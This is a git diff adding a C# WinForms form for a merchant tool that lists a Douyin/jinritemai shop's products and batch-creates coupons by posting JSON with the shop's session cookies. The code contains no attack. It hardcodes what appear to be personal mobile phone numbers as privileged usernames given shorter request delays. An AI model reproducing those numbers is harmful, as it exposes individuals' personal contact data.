/// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvProduct = new LittleRabbit.UserComponent.DataGridViewEx(); + this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.编辑ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.label1 = new System.Windows.Forms.Label(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colProductId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colProductName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colSales = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colPrice = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCreateTime = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colOrderCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShowCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShowPeopleCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colClickCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colClickPeopleCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvProduct)).BeginInit(); + this.contextMenuStrip1.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvProduct); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 4, 4, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.label1); + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(1201, 634); + this.splitContainer2.SplitterDistance = 604; + this.splitContainer2.TabIndex = 9; + // + // dgvProduct + // + this.dgvProduct.AllowUserToAddRows = false; + this.dgvProduct.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvProduct.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvProduct.BackgroundColor = System.Drawing.Color.White; + this.dgvProduct.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvProduct.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvProduct.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvProduct.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colProductId, + this.colProductName, + this.colSales, + this.colPrice, + this.colCreateTime, + this.colOrderCount, + this.colShowCount, + this.colShowPeopleCount, + this.colClickCount, + this.colClickPeopleCount, + this.colMessage}); + this.dgvProduct.ContextMenuStrip = this.contextMenuStrip1; + this.dgvProduct.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvProduct.Location = new System.Drawing.Point(4, 4); + this.dgvProduct.Name = "dgvProduct"; + this.dgvProduct.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvProduct.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvProduct.RowTemplate.Height = 23; + this.dgvProduct.Size = new System.Drawing.Size(1193, 600); + this.dgvProduct.TabIndex = 6; + this.dgvProduct.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvProduct_CellContentClick); + this.dgvProduct.CellMouseDown += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.dgvProduct_CellMouseDown); + this.dgvProduct.CellMouseEnter += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvProduct_CellMouseEnter); + this.dgvProduct.CellMouseUp += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.dgvProduct_CellMouseUp); + // + // contextMenuStrip1 + // + this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.编辑ToolStripMenuItem}); + this.contextMenuStrip1.Name = "contextMenuStrip1"; + this.contextMenuStrip1.Size = new System.Drawing.Size(209, 26); + // + // 编辑ToolStripMenuItem + // + this.编辑ToolStripMenuItem.Name = "编辑ToolStripMenuItem"; + this.编辑ToolStripMenuItem.Size = new System.Drawing.Size(208, 22); + this.编辑ToolStripMenuItem.Text = "选中商品批量设置优惠券"; + this.编辑ToolStripMenuItem.Click += new System.EventHandler(this.编辑ToolStripMenuItem_Click); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.ForeColor = System.Drawing.Color.MidnightBlue; + this.label1.Location = new System.Drawing.Point(656, 2); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(43, 17); + this.label1.TabIndex = 3; + this.label1.Text = "label1"; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(1201, 26); + this.statusBar.TabIndex = 2; + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 41; + // + // colProductId + // + this.colProductId.HeaderText = "商品Id"; + this.colProductId.Name = "colProductId"; + this.colProductId.ReadOnly = true; + this.colProductId.Width = 150; + // + // colProductName + // + this.colProductName.HeaderText = "商品名称"; + this.colProductName.Name = "colProductName"; + this.colProductName.ReadOnly = true; + this.colProductName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colProductName.Width = 250; + // + // colSales + // + this.colSales.HeaderText = "销量"; + this.colSales.Name = "colSales"; + this.colSales.ReadOnly = true; + this.colSales.Width = 60; + // + // colPrice + // + this.colPrice.HeaderText = "价格"; + this.colPrice.Name = "colPrice"; + this.colPrice.ReadOnly = true; + this.colPrice.Width = 60; + // + // colCreateTime + // + this.colCreateTime.HeaderText = "创建时间"; + this.colCreateTime.Name = "colCreateTime"; + this.colCreateTime.ReadOnly = true; + // + // colOrderCount + // + this.colOrderCount.HeaderText = "成交订单数"; + this.colOrderCount.Name = "colOrderCount"; + this.colOrderCount.ReadOnly = true; + this.colOrderCount.Visible = false; + this.colOrderCount.Width = 90; + // + // colShowCount + // + this.colShowCount.HeaderText = "商品曝光次数"; + this.colShowCount.Name = "colShowCount"; + this.colShowCount.ReadOnly = true; + this.colShowCount.Visible = false; + this.colShowCount.Width = 90; + // + // colShowPeopleCount + // + this.colShowPeopleCount.HeaderText = "商品曝光人数"; + this.colShowPeopleCount.Name = "colShowPeopleCount"; + this.colShowPeopleCount.ReadOnly = true; + this.colShowPeopleCount.Visible = false; + this.colShowPeopleCount.Width = 90; + // + // colClickCount + // + this.colClickCount.HeaderText = "商品点击次数"; + this.colClickCount.Name = "colClickCount"; + this.colClickCount.ReadOnly = true; + this.colClickCount.Visible = false; + this.colClickCount.Width = 90; + // + // colClickPeopleCount + // + this.colClickPeopleCount.HeaderText = "商品点击人数"; + this.colClickPeopleCount.Name = "colClickPeopleCount"; + this.colClickPeopleCount.ReadOnly = true; + this.colClickPeopleCount.Visible = false; + this.colClickPeopleCount.Width = 90; + // + // colMessage + // + this.colMessage.HeaderText = "消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Width = 200; + // + // CouponShopForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1201, 634); + this.Controls.Add(this.splitContainer2); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "CouponShopForm"; + this.Text = "CouponShopForm"; + this.Load += new System.EventHandler(this.CouponShopForm_Load); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + this.splitContainer2.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvProduct)).EndInit(); + this.contextMenuStrip1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvProduct; + private System.Windows.Forms.Label label1; + private UserControls.StatusBarUserControl statusBar; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; + private System.Windows.Forms.ToolStripMenuItem 编辑ToolStripMenuItem; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colProductId; + private System.Windows.Forms.DataGridViewTextBoxColumn colProductName; + private System.Windows.Forms.DataGridViewTextBoxColumn colSales; + private System.Windows.Forms.DataGridViewTextBoxColumn colPrice; + private System.Windows.Forms.DataGridViewTextBoxColumn colCreateTime; + private System.Windows.Forms.DataGridViewTextBoxColumn colOrderCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colShowCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colShowPeopleCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colClickCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colClickPeopleCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/CouponShopForm.cs b/TEMUKJD/KJDForms/SalesCenterForms/CouponShopForm.cs new file mode 100644 index 0000000..6cbd574 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/CouponShopForm.cs @@ -0,0 +1,518 @@ +using AllBase; +using AllBase.Extension; +using AllBase.Helper; +using AllBase.Model.Result; +using LittleRabbit.Extension; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BLL.Product; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class CouponShopForm : Form + { + private CheckBox chkSelectAll = null; + + DouShopLoginInfo shop = null; + public CouponForm couponForm = null; + public bool isGetProductSalesSuccess = false; + public Dictionary dicProductSales = new Dictionary(); + public List productList = new List(); + + public CouponShopForm(DouShopLoginInfo _shop) + { + InitializeComponent(); + shop = _shop; + } + + private void CouponShopForm_Load(object sender, EventArgs e) + { + chkSelectAll = dgvProduct.Columns["colSelect"].AddHeaderCheckBox(HorizontalAlignment.Center, 0, 0, null, null, false); + dgvProduct.Columns["colSelect"].HeaderText = ""; + + chkSelectAll.Width = chkSelectAll.Height = 13; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; + } + + private void chkSelectAll_CheckedChanged(object sender, EventArgs e) + { + if (!chkSelectAll.Checked) + { + foreach (DataGridViewRow row in dgvProduct.Rows) + { + row.Cells["colSelect"].Value = false; + } + } + else + { + foreach (DataGridViewRow row in dgvProduct.Rows) + { + row.Cells["colSelect"].Value = true; + } + } + } + + public void GetProduct(decimal priceMin, decimal priceMax, int salesMin, int salesMax, List productName = null, List filterWords = null) + { + if (shop == null) + return; + + ShowVisitorMessage(""); + foreach (DataGridViewRow r in this.dgvProduct.Rows) + { + r.Cells["colSales"].Value = "获取中"; + } + foreach (var p in productList) + { + p.sell_num = null; + } + + List tList = new List(); + + var t1 = Task.Run(() => + { + int page = 0; + int pageSize = 100; + int totalNum = 99999; + while (page < 100) + { + if (couponForm == null || couponForm.cancellationTokenSource.IsCancellationRequested) + break; + + page++; + var html = new ShopProductBLL().GetShopProductListData(shop, 0, page, pageSize); + //测试查找商品详情 + //Work.DouyinApiClass.DouyinApi api = new Work.DouyinApiClass.DouyinApi(shop); + //api.JsonData = new Dictionary(); + //api.JsonData["product_id"] = "3558439046600598747"; + //var detail = api.GetProductDetail(); + + while (!html.Contains("\"code\":10000")) + { + Thread.Sleep(1000); + html = new ShopProductBLL().GetShopProductListData(shop, 0, page, pageSize); + } + totalNum = BaseRegex.GetIntJson(ref html, "total"); + + try + { + JObject jObj = JObject.Parse(html); + var jObjDataStr = jObj["data"]?["data"]?.ToString(); + if (!string.IsNullOrEmpty(jObjDataStr)) + { + var addList = JsonHelper.DeserializeJsonToList(jObjDataStr); + if (addList != null) + { + // 有关键词或商品id的,过滤符合关键词 + if (productName != null && productName.Any()) + addList = addList.Where(p => productName.Any(n => p.name.Contains(n) || p.product_id.ToString().Contains(n))).ToList(); + + if (filterWords != null && filterWords.Any()) + addList = addList.Where(p => !filterWords.Any(f => p.name.Contains(f) || p.product_id.ToString().Contains(f))).ToList(); + + productList.AddRange(addList); + productList = productList.DistinctBy(p => p.product_id).ToList(); + } + foreach (var prod in addList) + { + var row = dgvProduct.Rows.Cast().FirstOrDefault(r => r.Cells["colProductId"].Value.ToString() == prod.product_id.ToString()); + Invoke(new Action(() => + { + if (row == null) + { + dgvProduct.Rows.Add( + false, + prod.product_id, + prod.name, + "获取中", + prod.discount_price / 100, + BaseClass.StampToDateTime((int)prod.create_time)); + } + else + { + row.Cells["colSales"].Value = "获取中"; + row.Cells["colPrice"].Value = prod.discount_price / 100; + row.Cells["colCreateTime"].Value = BaseClass.StampToDateTime((int)prod.create_time); + } + })); + } + } + var totalPage = Math.Ceiling(totalNum / (pageSize * 1M)); + var message = "已获取:" + page + "页,共" + Math.Ceiling(totalNum / (pageSize * 1M)) + "页,商品获取中..."; + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = message; + this.statusBar.pgbTaskProgress.Value = page; + this.statusBar.pgbTaskProgress.Text = page + "/" + totalPage; + this.statusBar.pgbTaskProgress.Maximum = (int)totalPage; + })); + } + catch (Exception ex) + { + BaseMsgForm.ShowError("获取商品发生错误:" + ex.Message); + } + + if (page * pageSize >= totalNum) + break; + } + }); + tList.Add(t1); + + if (ShopForms.ShopListForm.Instance == null) + ShopForms.ShopListForm.Instance = new ShopForms.ShopListForm(); + ShopForms.ShopListForm.Instance.CheckShopLogin(new string[] { shop.ShopAccount }, false); + + var t2 = Task.Run(() => + { + if (shop.LoginStatus == "登录成功") + couponForm.GetSales(this.shop); + + var rowsTemp = dgvProduct.Rows.Cast().ToList(); + rowsTemp.Reverse(); + foreach (var r in rowsTemp) + { + try + { + if (r.Cells["colPrice"].Value.ParseToDecimal() < priceMin || r.Cells["colPrice"].Value.ParseToDecimal() > priceMax + || r.Cells["colSales"].Value.ParseToDecimal() < salesMin || r.Cells["colSales"].Value.ParseToDecimal() > salesMax + || (productName?.Count > 0 && !productName.Any(n => r.Cells["colProductName"].Value.ToString().Contains(n) || r.Cells["colProductId"].Value.ToString().Contains(n))) + || (filterWords?.Count > 0 && filterWords.Any(f => r.Cells["colProductName"].Value.ToString().Contains(f) || r.Cells["colProductId"].Value.ToString().Contains(f)))) + { + Invoke(new Action(() => + { + dgvProduct.Rows.Remove(r); + })); + } + } + catch (Exception ex) + { + } + } + }); + tList.Add(t2); + t2.Wait(); + + SetSalesCount(); + //SetVisitorCount(); + + productList = productList.Where(p => p.discount_price >= priceMin && p.discount_price <= priceMax && p.sell_num >= salesMin && p.sell_num <= salesMax + && (productName?.Count > 0 == false || productName.Any(n => p.name.Contains(n) || p.product_id.ToString().Contains(n))) + && (filterWords?.Count > 0 == false || !filterWords.Any(f => p.name.Contains(f) || p.product_id.ToString().Contains(f)))).ToList(); + + Invoke(new Action(() => + { + if (couponForm == null || couponForm.cancellationTokenSource.IsCancellationRequested) + { + this.statusBar.lblTaskStatus.Text = "获取中断"; + } + else + { + this.statusBar.lblTaskStatus.Text = "获取完成"; + } + this.statusBar.pgbTaskProgress.Value = 0; + this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + this.statusBar.pgbTaskProgress.Maximum = 0; + })); + var errMsg = ""; + if (shop.LoginStatus != "登录成功") + errMsg += " 店铺掉线,请重新登录!"; + if (shop.ApiAuthStatus != "授权成功") + errMsg += " 授权过期,请重新授权!"; + ShowVisitorMessage(errMsg); + } + + public void ShowVisitorMessage(string msg) + { + Invoke(new Action(() => { this.label1.Text = msg; })); + } + + public void SetSalesCount() + { + foreach (var key in dicProductSales.Keys) + { + var row = this.dgvProduct.Rows.Cast().FirstOrDefault(r => r.Cells["colProductId"].Value.ToString() == key); + if (row != null) + { + Invoke(new Action(() => + { + row.Cells["colSales"].Value = dicProductSales[key]; + })); + } + var product = this.productList.Find(p => p.product_id.ToString() == key); + if (product != null) + product.sell_num = dicProductSales[key]; + } + + foreach (DataGridViewRow row in dgvProduct.Rows) + { + if (row.Cells["colSales"].Value.ToString() == "获取中") + { + Invoke(new Action(() => + { + if (isGetProductSalesSuccess) + { + row.Cells["colSales"].Value = 0; + } + else + { + row.Cells["colSales"].Value = "获取失败"; + } + })); + } + } + if (isGetProductSalesSuccess) + { + foreach (var prod in this.productList) + { + if (prod.sell_num == null) + prod.sell_num = 0; + } + } + } + + private void dgvProduct_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string headerText = dgvProduct.Columns[e.ColumnIndex].HeaderText; + string columnName = dgvProduct.Columns[e.ColumnIndex].Name; + var row = dgvProduct.Rows[e.RowIndex]; + switch (columnName) + { + case "colSelect": + //row.Cells["colSelect"].Value = !row.Cells["colSelect"].Value.ParseToBool(); + //chkSelectAll.CheckedChanged -= chkSelectAll_CheckedChanged; + //if (dgvProduct.Rows.Cast().All(r => r.Cells["colSelect"].Value.ParseToBool())) + // chkSelectAll.Checked = true; + //else + // chkSelectAll.Checked = false; + //chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; + break; + } + } + + bool isSelecting = false; + bool isCheck = true; + private void dgvProduct_CellMouseDown(object sender, DataGridViewCellMouseEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + + var columnName = dgvProduct.Columns[e.ColumnIndex].Name; + if (MouseButtons == MouseButtons.Left) + { + if (columnName == "colSelect") + { + dgvProduct.Rows[e.RowIndex].Cells["colSelect"].Value = !dgvProduct.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool(); + + isSelecting = true; + isCheck = dgvProduct.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool(); + + chkSelectAll.CheckedChanged -= chkSelectAll_CheckedChanged; + if (dgvProduct.Rows.Cast().All(r => r.Cells["colSelect"].Value.ParseToBool())) + chkSelectAll.Checked = true; + else + chkSelectAll.Checked = false; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; + } + } + } + + private void dgvProduct_CellMouseUp(object sender, DataGridViewCellMouseEventArgs e) + { + isSelecting = false; + } + + private void dgvProduct_CellMouseEnter(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + + var row = dgvProduct.Rows[e.RowIndex]; + if (MouseButtons == MouseButtons.Left) + { + var columnName = dgvProduct.Columns[e.ColumnIndex].Name; + if (isSelecting) + { + dgvProduct.Rows[e.RowIndex].Cells["colSelect"].Value = isCheck; + + chkSelectAll.CheckedChanged -= chkSelectAll_CheckedChanged; + if (dgvProduct.Rows.Cast().All(r => r.Cells["colSelect"].Value.ParseToBool())) + chkSelectAll.Checked = true; + else + chkSelectAll.Checked = false; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; + } + } + } + + public string SetCoupon(int periodType, + int favouredType, + long startApplyStamps, + long endApplyStamps, + long startUseStamps, + long endUseStamps, + int validDays, + int totalCount, + int countLimit, + decimal discount, // (折扣券的)折扣 + int threshold, // 满x元 + int credit, // 减x元 + bool ignore, + bool oneProductEachCoupon, + string couponName = "") + { + List rows = this.dgvProduct.Rows.Cast().Where(r => r.Cells["colSelect"].Value?.ParseToBool() == true).ToList(); + var goodsIdList = rows.Select(r => r.Cells["colProductId"].Value?.ToString()).ToList(); + var goodsIds = "\"" + string.Join("\",\"", goodsIdList) + "\""; + if (!oneProductEachCoupon) + { + var goodsIdListTemp = new List(); + goodsIdListTemp.AddRange(goodsIdList); + goodsIdList.Clear(); + int numCount = 0; + goodsIds = ""; + foreach (var goodsId in goodsIdListTemp) + { + numCount++; + goodsIds += "\"" + goodsId + "\","; + if (numCount % 200 == 0 || numCount >= goodsIdListTemp.Count) + { + goodsIdList.Add(goodsIds.Trim(',')); + goodsIds = ""; + } + } + } + if (string.IsNullOrEmpty(couponName)) + couponName = DateTime.Now.ToString("yyMMddHHmm"); + string setResult = ""; + + foreach (var id in goodsIdList) + { + // 指定商品折扣券 + //string body = @"{""support_type"":4,""shop_omp_activity_id"":"""",""channel"":3,""coupon_name"":""优惠123"",""period_type"":2,""ignore"":false,""favoured_type"":41,""total_amount"":13,""max_apply_times"":1,""valid_period"":""3"",""discount"":95,""goods"":[""3552987839555832450"",""3552273829277663255"",""3552271209347574338""],""start_apply_time"":1654531200,""end_apply_time"":1654617599,""jump_type"":4}"; + //string body = @"{""support_type"":4,""shop_omp_activity_id"":""7086106181462163749"",""shop_omp_activity_type"":8,""channel"":3,""coupon_name"":""111"",""period_type"":1,""ignore"":false,""favoured_type"":41,""total_amount"":1,""max_apply_times"":1,""goods"":[""3554315317469660534"",""3553784680702692298""],""discount"":90,""start_time"":1655395200,""expire_time"":1655481599,""start_apply_time"":1655395200,""end_apply_time"":1655481599,""jump_type"":4}"; + // 指定商品直减券 + //string body = @"{""support_type"":4,""shop_omp_activity_id"":""7086106181462163749"",""shop_omp_activity_type"":8,""channel"":3,""coupon_name"":""2131"",""period_type"":1,""ignore"":false,""favoured_type"":42,""total_amount"":1,""max_apply_times"":1,""goods"":[""3557115286081690584""],""credit"":200,""start_time"":1657123200,""expire_time"":1657209599,""start_apply_time"":1657123200,""end_apply_time"":1657209599,""jump_type"":2,""jump_product_id"":""3557115286081690584""}"; + //string body = @"{""support_type"":4,""shop_omp_activity_id"":""7086106181462163749"",""shop_omp_activity_type"":8,""channel"":3,""coupon_name"":""1223"",""period_type"":1,""ignore"":false,""favoured_type"":42,""total_amount"":1,""max_apply_times"":1,""goods"":[""3554511661782200678""],""credit"":200,""start_time"":1657123200,""expire_time"":1657209599,""start_apply_time"":1657123200,""end_apply_time"":1657209599,""jump_type"":2,""jump_product_id"":""3554511661782200678""}"; + //string body = @"{""support_type"":4,""shop_omp_activity_id"":""7086106181462163749"",""shop_omp_activity_type"":8,""channel"":3,""coupon_name"":""2311"",""period_type"":1,""ignore"":false,""favoured_type"":42,""total_amount"":1,""max_apply_times"":1,""goods"":[""3554333221040862310"",""3554511661782200678""],""credit"":200,""start_time"":1657123200,""expire_time"":1657209599,""start_apply_time"":1657123200,""end_apply_time"":1657209599,""jump_type"":4}"; + // 指定商品满减券 + //string body = @"{""support_type"":4,""shop_omp_activity_id"":""7086106181462163749"",""shop_omp_activity_type"":8,""channel"":3,""coupon_name"":""1ad"",""period_type"":1,""ignore"":false,""favoured_type"":43,""total_amount"":1,""max_apply_times"":1,""goods"":[""3556136493124815095"",""3558423829472753852""],""threshold"":9900,""credit"":1100,""start_time"":1657123200,""expire_time"":1657209599,""start_apply_time"":1657123200,""end_apply_time"":1657209599,""jump_type"":4}"; + + string body = "{\"support_type\":4," + + "\"shop_omp_activity_id\":\"\"," + + "\"channel\":3," + + "\"coupon_name\":\"" + couponName + "\"," + // 优惠券名称 + "\"period_type\":" + periodType + "," + // 使用时间 1=限制日期范围 2=限制有效天数 + "\"ignore\":" + ignore.ToString().ToLower() + "," + // 价格风险预警 true=不计入 false=计入 + "\"favoured_type\":" + favouredType + "," + // 优惠内容 41=指定商品折扣券 42=指定商品直减券 43=指定商品满减券 + "\"total_amount\":" + totalCount + "," + // 发放量 + "\"max_apply_times\":" + countLimit + ","; // 每人限领 + if (periodType == 2) + body += "\"valid_period\":\"" + validDays + "\","; // 有效期天数 + if (periodType == 1) + { + body += "\"start_time\":" + startUseStamps + ","; // 开始日期 + body += "\"expire_time\":" + endUseStamps + ","; // 结束日期 + } + if (favouredType == 41) + { + body += "\"discount\":" + (int)(10 * discount) + ","; // 折扣 + } + else if (favouredType == 42) + { + body += "\"credit\":" + 100 * credit + ","; // 减x元 单位分 + } + else if (favouredType == 43) + { + body += "\"threshold\":" + 100 * threshold + ","; // 满x元 单位分 + body += "\"credit\":" + 100 * credit + ","; // 减x元 单位分 + } + body += "\"goods\":[" + id + "]," + // 商品编号 + "\"start_apply_time\":" + startApplyStamps + "," + // 领取开始时间 + "\"end_apply_time\":" + endApplyStamps + "," + // 领取结束时间 + "\"jump_type\":4}"; + + string url = "https://fxg.jinritemai.com/marketing/coupons/v1/check?_bid=ecom_market_shop&appid=1&_=" + BaseClass.DateTimeToTimestampSeconds(DateTime.Now); + string referer = "https://fxg.jinritemai.com/market/center/coupon/detail?type=4"; + + CommonSimRequest simRequest = new CommonSimRequest(); + simRequest.Accept = "application/json, text/plain, */*"; + simRequest.ContentType = "application/json"; + + var result = simRequest.Request_Post(url, referer, new Dictionary(), shop.Cookies, body); + if (!result.Contains("成功") && !result.Contains("Gateway Timeout")) + { + foreach (DataGridViewRow row in rows) + { + if (id.Contains(row.Cells["colProductId"].Value.ToString())) + Invoke(new Action(() => { row.Cells["colMessage"].Value = "优惠券 " + couponName + " 规则校验失败,无法设置。"; })); + } + setResult += id + "|error^"; + continue; + } + + if ("18565722666|13928836672,18565722666,13928836672,18937517772,18135637272,18888888888".Contains(BaseClass.UserName)) + Thread.Sleep(Randomx.GetId(10, 20)); + else + Thread.Sleep(Randomx.GetId(100, 500)); + url = "https://fxg.jinritemai.com/marketing/coupons/v1/shopcoupons?_bid=ecom_market_shop&appid=1&_=" + BaseClass.DateTimeToTimestampSeconds(DateTime.Now); + result = simRequest.Request_Post(url, referer, new Dictionary(), shop.Cookies, body); + if (!result.Contains("成功")) + { + var msg = BaseRegex.GetStringJson(ref result, "msg"); + foreach (DataGridViewRow row in rows) + { + if (id.Contains(row.Cells["colProductId"].Value.ToString())) + Invoke(new Action(() => { row.Cells["colMessage"].Value = "优惠券 " + couponName + " 设置失败。" + msg; })); + } + setResult += id + "|error^"; + continue; + } + foreach (DataGridViewRow row in rows) + { + if (id.Contains(row.Cells["colProductId"].Value.ToString())) + Invoke(new Action(() => { row.Cells["colMessage"].Value = "优惠券 " + couponName + " 设置成功。"; })); + } + setResult += id + "|success^"; + + if (goodsIdList.Count > 1) + { + if ("18565722666|13928836672,18565722666,13928836672,18937517772,18135637272,18888888888".Contains(BaseClass.UserName)) + Thread.Sleep(Randomx.GetId(50, 150)); + else + Thread.Sleep(Randomx.GetId(200, 700)); + } + } + return setResult; + } + + private void 编辑ToolStripMenuItem_Click(object sender, EventArgs e) + { + List rows = this.dgvProduct.Rows.Cast().Where(r => r.Cells["colSelect"].Value?.ParseToBool() == true).ToList(); + var goodsIdList = rows.Select(r => r.Cells["colProductId"].Value?.ToString()).ToList(); + var goodsIds = "\"" + string.Join("\",\"", goodsIdList) + "\""; + + CouponMulitAddForm form = new CouponMulitAddForm(); + form.couponShopForm = this; + form.Show(); + } + + public void ClearData() + { + this.dgvProduct.Rows.Clear(); + this.productList.Clear(); + } + } +} diff --git 